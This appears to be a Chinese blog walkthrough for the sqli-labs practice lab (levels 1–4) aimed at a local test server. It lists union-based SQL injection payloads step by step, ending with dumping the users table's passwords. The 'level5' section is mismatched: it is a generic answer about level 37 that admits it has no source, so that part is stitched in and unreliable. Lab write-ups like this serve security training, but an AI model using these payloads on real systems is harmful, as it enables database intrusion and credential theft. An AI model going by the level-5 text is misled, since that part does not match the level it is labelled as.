sqli-labs-master通关手册

本文详细讲解了SQL注入攻击的步骤,从判断注入点到获取数据库信息,包括数据库名称、表名和字段名,最终获取敏感数据。通过实例演示了不同类型的SQL注入技巧。

level1
输入:[http://127.0.0.1/New/sqli-labs-master/Less-1/?id=1](http://127.0.0.1/New/sqli-labs-master/Less-1/?id=1)

后面加一个'并将后面注释掉试试效果:
构造?id=1' --+(这里#被注释了)
image.png

然后判断字段数
?id=1' order by 3 --+
order by 3的时候回显正常,order by 4的时候报错,那证明字段就是3个。

然后判断注入点
?id=0' union select 1,2,3 --+
image.png

2和3是注入点,随便找个位置开始注入
?id=0' union select 1,database(),3 --+
image.png

数据库名爆出来了,security

然后爆表名:
?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema="security"--+
因为这里只显示一行,虽然后面的LIMIT 0,1被注释掉了,但是后台可能还有其他函数限制输出,所以用group_concat()来将所有输出整在一行内image.png

猜测flag应该在users表中
?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name="users" --+
image.png

maybe在password字段中
?id=-1' union select 1,group_concat(password),3 from users --+
image.png

okok搞定



level2
首先构造?id=1'--+发现报错,那这个应该不是字符类型
然后判断字段数?id=1 order by 3 --+image.png

然后构造?id=1 union select 1,2,3 --+
发现注入点,接下来的操作跟上一题一样,就不做介绍了,直接贴payload
?id=1 union select 1,database(),3 --+

?id=-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema="security"--+

?id=-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_name="users" --+

?id=-1 union select 1,group_concat(password),3 from users --+



level3
首先,构造一下?id=1'在这里插入图片描述
不吹牛,整个人懵掉了,这个报错似曾相识但是不会做(说白了还是我太菜)。百度了一波才发现这个用')来闭合,一下子豁然开朗~
然后构造?id=1') order by 3 --+
在这里插入图片描述
回显正常,并且字段数就是3没错。接下来的操作就跟前面的一样了,贴payload:
?id=0') union select 1,database(),3 --+

?id=0') union select 1,group_concat(table_name),3 from information_schema.tables where table_schema="security" --+

?id=0') union select 1,group_concat(column_name),3 from information_schema.columns where table_name="users" --+

?id=0') union select 1,group_concat(password),3 from users --+
在这里插入图片描述



level4
老规矩,先构造?id-1'
嗯?没报错?换双引号试试:
?id=1"
在这里插入图片描述
模仿上一题?id=1")--+在这里插入图片描述
哦豁,那接下来就差不多啦。
?id=1") order by 3--+
?id=0") union select 1,database(),3--+
在这里插入图片描述
后面就不贴啦~



level5

给定的参考引用中未提及sqli - labs - master第37关的通关方法相关内容,不过一般sqli - labs靶场的通关思路有一定的共性,下面提供一个通用的SQL注入通关思路供参考: ### 1. 判断注入点 首先要确定当前关卡的注入点位置。通常可以通过改变URL参数的值,观察页面返回结果的变化来判断。例如,在URL中尝试添加单引号 `'`、双引号 `"` 等特殊字符,如果页面出现错误信息,很可能存在注入点。 ### 2. 判断注入类型 常见的注入类型有数字型注入、字符型注入等。 - **数字型注入**:一般不需要使用引号闭合,直接在参数后拼接SQL语句。 - **字符型注入**:需要使用引号闭合原SQL语句,再拼接注入的SQL语句。 ### 3. 爆数据库名 可以使用类似如下的语句来获取数据库名: ```sql ?id=1' union select 1,extractvalue(1,concat('~',database(),'~')) -- a ``` 这里的 `extractvalue` 函数用于将数据库名以错误信息的形式输出。 ### 4. 爆数据表名 在知道数据库名后,可以使用如下语句获取该数据库中的表名: ```sql ?id=-1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='数据库名'),3 or '1'='1 ``` ### 5. 爆字段名 获取到表名后,接着获取表中的字段名: ```sql ?id=1' and ascii(substring((select column_name from information_schema.columns where table_schema='数据库名' and table_name='表名' limit 0,1),1,1))>0 --+ ``` 通过调整 `limit` 和 `substring()` 函数来获取所有字段名信息。 ### 6. 爆数据 最后获取表中的具体数据,示例语句如下: ```sql ?id=-1' union select 1,concat_ws('~',id,username,password),3 from 数据库名.表名 limit 0,1 --+ ``` 要完成第37关,需要根据该关卡的具体情况,判断注入类型,然后按照上述步骤逐步获取所需信息。
评论 2
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值